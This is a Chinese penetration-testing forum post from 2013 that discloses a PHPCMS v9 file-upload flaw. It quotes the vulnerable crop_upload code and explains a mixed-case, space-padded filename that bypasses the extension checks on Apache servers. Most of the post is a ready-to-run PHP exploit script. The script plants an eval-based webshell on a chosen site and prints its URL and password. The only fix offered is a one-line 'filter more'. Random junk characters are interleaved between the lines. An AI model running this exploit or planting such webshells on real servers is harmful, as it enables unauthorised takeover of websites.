中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
9 y7 l1 W1 d1 Q U$ B# f5 j( J
: e9 A* X% r' A9 ?+ S; v4 g3 q
简要描述:
0 o& A: i) {! e3 o& v4 C
# [/ Y$ H- h# Z/ C! O
phpcms v9 getshell (apache)
1 H9 C8 m: d6 e: {/ \8 L8 x
详细说明:
, K* H9 q8 h1 S9 n2 K
; H0 O5 ?; Y8 i: B
漏洞文件:phpcms\modules\attachment\attachments.php
! r& K7 S4 w4 ?7 N
& Z' {" d2 ^' t. ~
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
) f/ M, B3 R- P
后缀检测:phpcms\modules\attachment\functions\global.func.php
5 w8 e! ?) p f. P) K
: E9 ~+ ^2 E. c: e4 a5 S+ n+ x
' d% E; ~# P8 X2 K/ X
- j( @' c2 b- D- _% [
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
2 K& P ?* f7 V6 E( _* q# J4 Z
' K+ k) V, z1 v' ]3 b8 w+ r
关键函数:
2 e$ F. O; v' ?/ {! Y/ ~
6 ^" [2 E/ Y2 S% u! ^
- O+ R: C! X# p% H5 t
2 \9 M8 P% f5 H" s* t6 l/ f: G, U
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
. m; {* v3 m5 W8 u' A6 [$ U. `
" r. c8 d4 y7 v8 w
Fileext函数是对文件后缀名的提取。
" x! S1 W- k4 ?; b+ R
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
& i" S8 P7 X8 L
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
/ [1 W S. o* n I8 ]" @* I6 C
我们回到public function crop_upload() 函数中
) p" E/ q1 S# N4 V4 O, t/ ^
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
* M7 ?7 T2 t9 o2 E i/ K7 c
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
+ R# F) L( h7 \+ O+ A0 S K
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
( k& S( ~; W6 m8 B
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
/ M: k- I! |7 X/ b8 S+ l
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
0 c2 a" \0 Z5 o7 V! w
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
. R' d' \$ j3 j6 i7 n
漏洞证明:
$ p. r9 L6 s R
2 k4 B) b% I' G' u I- x
exp:
3 _9 i! a5 D" ^2 M
, Z; u1 |+ b/ s9 f: k
<?php
. Q- p: A7 X/ c: _/ \% k
error_reporting(E_ERROR);
- j& Z( {/ k' N4 w# z. t% u/ `: q
set_time_limit(0);
) V8 I5 e8 i' `2 p
$pass="ln";
; j7 B8 D% u' q: X3 D0 A
print_r('
8 {' J) N3 U B/ R
+---------------------------------------------------------------------------+
- ?2 h& W' I, A) k
PHPCms V9 GETSHELL 0DAY
2 r2 W: T0 L# C9 ^2 F6 k
code by L.N.
5 |$ q- v" E* t( w5 ^. N5 n; r4 n
% g/ R) E1 Z& f; C4 n$ f. J$ C
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
8 j. R: Q" X# O. q: Y4 j9 \
+---------------------------------------------------------------------------+
) [6 h7 o- G7 w
');
9 t0 m8 a) o# g4 w
if ($argc < 2) {
2 X1 v# t" A6 d8 ?8 |3 E* l! a
print_r('
2 @6 T- y0 }8 q
+---------------------------------------------------------------------------+
' |6 W' t8 J9 t
Usage: php '.$argv[0].' url path
! O) L. b5 J3 @( x( H( |
* `+ C/ f! R) ^2 m" c7 T* L
Example:
/ V, N5 D# J! u2 B0 k8 n" V
1.php '.$argv[0].' lanu.sinaapp.com
0 }1 ]7 p; f7 I+ ?3 m0 e
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
. x7 [. x8 G( Q( O8 {* v: s9 I
+---------------------------------------------------------------------------+
9 _3 \5 q/ I, \/ a
');
; P3 O: v1 W/ C: l
exit;
: p; x0 `9 G. W& y& ~- V$ y
}
! `& X$ z. p* ~; [" U) p: v
- z2 r+ w( v' b! ^/ }, N, I
$url = $argv[1];
* K8 z" ?2 a; p" [/ P
$path = $argv[2];
# J5 s {$ V1 i! j" f7 M
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
0 r9 b1 f: b, U) U1 k9 |9 p/ U# |
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
9 B2 g/ d5 S# G% A% p
if($ret=Create_dir($url,$path))
1 M0 F# @1 ?8 T/ p0 e {; U
{
% P, v$ g- W: [# _ H
//echo $ret;
! D @- Y8 l. b$ V1 {
$pattern = "|Server:[^,]+?|U";
( t- p0 ^3 L( G/ D; y3 {% r3 T
preg_match_all($pattern, $ret, $matches);
/ Z) c: V y q
if($matches[0][0])
. O7 O* Z3 I; [" n `/ t
{
7 | c! U4 n$ p! ?
if(strpos($matches[0][0],'Apache') == false)
. ?/ m$ X7 F8 V$ x# Q- L6 ?
{
* Z8 v# R; M: G$ z& j0 g
echo "\n亲!此网站不是apache的网站。\n";exit;
4 ?; |4 ^, c+ P. Y4 n- ?! c
}
* d; O7 D6 H8 z4 z# y9 V& L Y
}
0 g: ~' }) a& i5 E6 b; e5 i
$ret = GetShell($url,$phpshell,$path,$file);
/ S+ l# J; l9 ^+ g
$pattern = "|http:\/\/[^,]+?\.,?|U";
2 G. c9 ^3 e0 c
preg_match_all($pattern, $ret, $matches);
, }! o5 C' [# Q
if($matches[0][0])
y5 {4 T7 O; y9 p- n
{
4 [+ V2 j% H& J
echo "\n".'密码为: '.$pass."\n";
6 V- q& q, Q5 T1 I* z: y
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% n/ E9 d- O" L0 z5 Q+ v
}
, f) c A4 Y! @7 p4 i, w
else
P& G" k/ c: O( Z6 j& p
{
. n4 M% \+ t8 d+ x2 U( j6 o- k$ l
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
2 `, D3 m# H2 p/ }. p* A+ X
preg_match_all($pattern, $ret, $matches);
; ~+ ~6 A( h# \# K2 A0 E, N+ h8 h( R
if($matches[0][0])
+ \/ Z- F# o" {; \/ v5 @* v( g
{
; { j6 N9 R1 a# u% z, n2 w% H
echo "\n".'密码为: '.$pass."\n";
# L9 z* i. ~! }# F2 A* B O) A
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
$ ~+ l" t3 n: k- ^- r
}
J4 S1 q8 `+ n5 l
else
, Y0 C2 v- O' c' ?! S
{
9 s' J- S9 L% D" P0 g# v. S
echo "\r\n没得到!\n";exit;
1 t$ j3 I+ f; Z8 z% q
}
( S$ h U, y7 e
}
; c* u) _( w V9 m$ X# e
}
: @6 x/ i" t3 B$ D
4 H S4 |' O6 s/ B
function GetShell($url,$shell,$path,$js)
2 Q5 r6 z" E: P/ F- P
{
7 n- N8 h6 w5 O* k! |
$content =$shell;
% N+ s& u+ z& z8 h' @7 y+ m7 d3 ^( y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
: g7 g9 f( E/ x1 M: W1 s9 L
$data .= "Host: ".$url."\r\n";
( o% S3 f `% L0 k% |% ~* H" A [9 T) Q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- W: [4 ^8 S* N4 w& D% b1 \! K
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
7 F7 f9 A3 a' g/ x# d
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
/ w6 r: E8 E5 E: X# o% x
$data .= "Connection: close\r\n";
& t: i8 I% U: _$ [$ {/ d- Y( ]. d
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
% d* d4 \: g$ m/ } Y3 t
$data .= $content."\r\n";
% L# P0 _ Q2 R' \/ O) q2 J
$ock=fsockopen($url,80);
6 v+ f' N$ y9 I' E
if (!$ock)
% t9 z2 F' E" w+ L+ V
{
) T; v+ X& l4 N; R
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
, F$ U1 M/ X: A+ h% ?8 \" e: [
}
9 E# h7 s# ~+ F9 O
else
8 V5 S/ s5 |0 o
{
' I4 q0 ]2 v2 _9 Y6 Y! ^+ l
fwrite($ock,$data);
* v# Z6 d" e6 k1 E: U3 c
$resp = '';
5 r& h3 W; b% y3 a5 [+ ~
while (!feof($ock))
( T+ W* I3 A/ z3 k$ d* h
{
, p9 ~. t+ m& y6 U; ?8 h
$resp.=fread($ock, 1024);
- j6 a; O# ?4 I: x3 `* L
}
# n( F" ]# ~1 R l) Y% v0 y9 W* o
return $resp;
& _5 n1 D2 e2 p8 E2 p+ p0 H
}
2 R5 ^, s& R3 f* e6 o6 V6 V* H6 u: l2 {
}
8 Y+ [8 }) T1 r9 Z: k/ J5 q* S7 F
7 B% k- Y }" m2 C
function Create_dir($url,$path='')
; L. T: d1 N. [5 g: t p, s# Z
{
7 \7 g4 d* s7 y+ V2 Y1 A5 U# F
$content ='I love you';
. w0 X" o* R' L- R
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
1 O$ v: ~1 @1 m" y% F/ V
$data .= "Host: ".$url."\r\n";
7 h( S3 p$ l7 ^# L+ i
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 _6 @; Z2 P% s I' n4 ~
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) c6 @) \6 P. l. U
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( b3 V7 F" R9 I# k8 ]& K
$data .= "Connection: close\r\n";
- U6 \# L$ u0 O4 s1 d4 V+ g
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
. B! v0 _1 E& p8 P9 \9 v9 L6 t
$data .= $content."\r\n";
5 `/ O4 u P c$ B; k# Q
$ock=fsockopen($url,80);
3 F j5 w9 d( q
if (!$ock)
! j5 t7 l, A& C
{
! m- x8 B) P; [! @; ~* `+ f
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
( X8 G3 O% V2 f8 K/ x" k% x% N# |
}
9 @+ j4 Q9 @/ G0 \7 Q9 w
fwrite($ock,$data);
( v# M+ A$ f' U( r7 Q m
$resp = '';
- P4 i& H. \# u9 }+ k1 ~, K
while (!feof($ock))
' r3 O+ t, ]. x. N8 x/ i5 k
{
( H$ S: b) D5 v
$resp.=fread($ock, 1024);
3 u) S4 P7 z$ Z r
}
( R6 _( x1 Z+ I+ m: V4 M6 U
return $resp;
/ Q# d I1 K+ B4 n; c" i
}
* ?( B! x2 Z* }! d8 R2 r2 Z1 @
?>
9 a! ?; G9 M% @8 Z" z ^
. _- L a3 I$ y7 A
修复方案:
9 d! _! H2 b: F$ c3 B, L
* Y! k; W7 z' p
过滤过滤再过滤
$ r: L2 I/ k: A
" f2 F' R# B: s4 x/ P1 X
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2